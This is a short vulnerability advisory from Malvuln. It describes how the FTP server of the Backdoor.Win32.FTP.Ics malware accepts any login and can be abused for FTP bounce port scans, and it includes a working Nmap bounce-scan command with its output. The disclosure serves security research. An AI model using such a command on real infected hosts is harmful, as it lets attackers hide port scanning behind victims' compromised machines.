Backdoor.Win32.FTP.Ics malware suffers from a man-in-the-middle vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_C.txt
Contact: [email protected]
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 5554 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Vuln ID: MVID-2022-0500
nmap -n -Pn -b malvuln:[email protected]:5554 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 16:08 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:[email protected]:5554
Connected:220 ICS FTP Server ready.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 16:08
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 16:08, 2.11s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:Program Files (x86)Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.27 seconds
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